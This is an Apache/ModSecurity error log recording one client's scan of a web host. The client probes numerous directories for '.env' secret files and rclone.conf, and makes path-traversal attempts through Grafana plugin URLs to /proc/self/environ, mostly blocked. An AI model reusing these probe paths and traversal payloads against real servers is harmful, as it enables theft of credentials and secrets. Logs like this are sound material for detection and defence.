[Mon Oct 26 08:55:27.428611 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at9Nv7Tw2sbGJE6AyS4L5gAAAA4"]
[Mon Oct 26 08:55:27.428751 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at9Nv7Tw2sbGJE6AyS4L5gAAAA4"]
[Mon Oct 26 08:55:27.428976 2026] [security2:error] [pid 3034810:tid 3034810] [client 34.126.82.152:42352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at9Nv7Tw2sbGJE6AyS4L5gAAAA4"]
[Mon Oct 26 08:55:27.434329 2026] [core:error] [pid 3034819:tid 3034819] [client 34.126.82.152:42430] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Mon Oct 26 08:55:27.440745 2026] [core:error] [pid 3034831:tid 3034831] [client 34.126.82.152:51346] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Mon Oct 26 08:55:27.450947 2026] [security2:error] [pid 3034817:tid 3034817] [client 34.126.82.152:51310] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at9Nv-7RQ7_j4_e5QOFHVgAAABs"]
[Mon Oct 26 08:55:27.451139 2026] [security2:error] [pid 3034817:tid 3034817] [client 34.126.82.152:51310] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at9Nv-7RQ7_j4_e5QOFHVgAAABs"]
[Mon Oct 26 08:55:27.451418 2026] [security2:error] [pid 3034817:tid 3034817] [client 34.126.82.152:51310] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at9Nv-7RQ7_j4_e5QOFHVgAAABs"]
[Mon Oct 26 08:55:27.470909 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at9Nv3tuNRyqJbUWH7JwSgAAAAQ"]
[Mon Oct 26 08:55:27.471073 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at9Nv3tuNRyqJbUWH7JwSgAAAAQ"]
[Mon Oct 26 08:55:27.471318 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at9Nv3tuNRyqJbUWH7JwSgAAAAQ"]
[Mon Oct 26 08:55:27.585688 2026] [security2:error] [pid 3034832:tid 3034832] [client 34.126.82.152:51366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at9Nv_whPNfu3ad5wk3cYwAAACo"]
[Mon Oct 26 08:55:27.586027 2026] [security2:error] [pid 3034832:tid 3034832] [client 34.126.82.152:51366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at9Nv_whPNfu3ad5wk3cYwAAACo"]
[Mon Oct 26 08:55:27.586396 2026] [security2:error] [pid 3034832:tid 3034832] [client 34.126.82.152:51366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at9Nv_whPNfu3ad5wk3cYwAAACo"]
[Mon Oct 26 08:55:27.591111 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at9Nv3T09R7Np-FQ85dkLAAAAAo"]
[Mon Oct 26 08:55:27.591273 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at9Nv3T09R7Np-FQ85dkLAAAAAo"]
[Mon Oct 26 08:55:27.591500 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at9Nv3T09R7Np-FQ85dkLAAAAAo"]
[Mon Oct 26 08:55:27.596742 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.126.82.152:51354] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at9Nv9dWtrCZuT8sbNQ4ggAAACU"]
[Mon Oct 26 08:55:27.597120 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.126.82.152:51354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at9Nv9dWtrCZuT8sbNQ4ggAAACU"]
[Mon Oct 26 08:55:27.597449 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.126.82.152:51354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at9Nv9dWtrCZuT8sbNQ4ggAAACU"]
[Mon Oct 26 08:55:27.650847 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at9NvymtoTVUWKg0WJJgZgAAABI"]
[Mon Oct 26 08:55:27.651070 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at9NvymtoTVUWKg0WJJgZgAAABI"]
[Mon Oct 26 08:55:27.651320 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at9NvymtoTVUWKg0WJJgZgAAABI"]
[Mon Oct 26 08:55:27.683431 2026] [security2:error] [pid 3034822:tid 3034822] [client 34.126.82.152:51328] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at9NvzgHnF5WpeGdIeXx1wAAACA"]
[Mon Oct 26 08:55:27.683644 2026] [security2:error] [pid 3034822:tid 3034822] [client 34.126.82.152:51328] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at9NvzgHnF5WpeGdIeXx1wAAACA"]
[Mon Oct 26 08:55:27.683894 2026] [security2:error] [pid 3034822:tid 3034822] [client 34.126.82.152:51328] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at9NvzgHnF5WpeGdIeXx1wAAACA"]
[Mon Oct 26 08:55:27.745793 2026] [security2:error] [pid 3034817:tid 3034817] [client 34.126.82.152:51310] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at9Nv-7RQ7_j4_e5QOFHVwAAABs"]
[Mon Oct 26 08:55:27.745986 2026] [security2:error] [pid 3034817:tid 3034817] [client 34.126.82.152:51310] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at9Nv-7RQ7_j4_e5QOFHVwAAABs"]
[Mon Oct 26 08:55:27.746241 2026] [security2:error] [pid 3034817:tid 3034817] [client 34.126.82.152:51310] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at9Nv-7RQ7_j4_e5QOFHVwAAABs"]
[Mon Oct 26 08:55:27.747739 2026] [security2:error] [pid 3034820:tid 3034820] [client 34.126.82.152:42400] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at9Nv7JXWag7taVYc8zaQgAAAB4"]
[Mon Oct 26 08:55:27.747937 2026] [security2:error] [pid 3034820:tid 3034820] [client 34.126.82.152:42400] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at9Nv7JXWag7taVYc8zaQgAAAB4"]
[Mon Oct 26 08:55:27.748187 2026] [security2:error] [pid 3034820:tid 3034820] [client 34.126.82.152:42400] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at9Nv7JXWag7taVYc8zaQgAAAB4"]
[Mon Oct 26 08:55:27.749232 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at9Nv11KkDkSDUaIwfzbagAAABc"]
[Mon Oct 26 08:55:27.749410 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at9Nv11KkDkSDUaIwfzbagAAABc"]
[Mon Oct 26 08:55:27.749666 2026] [security2:error] [pid 3034814:tid 3034814] [client 34.126.82.152:42378] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at9Nv11KkDkSDUaIwfzbagAAABc"]
[Mon Oct 26 08:55:27.750414 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at9Nv3tuNRyqJbUWH7JwSwAAAAQ"]
[Mon Oct 26 08:55:27.750570 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at9Nv3tuNRyqJbUWH7JwSwAAAAQ"]
[Mon Oct 26 08:55:27.750849 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at9Nv3tuNRyqJbUWH7JwSwAAAAQ"]
[Mon Oct 26 08:55:27.757659 2026] [security2:error] [pid 3034806:tid 3034806] [client 34.126.82.152:42298] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at9NvwVECGDHCtvwjbcprwAAAAI"]
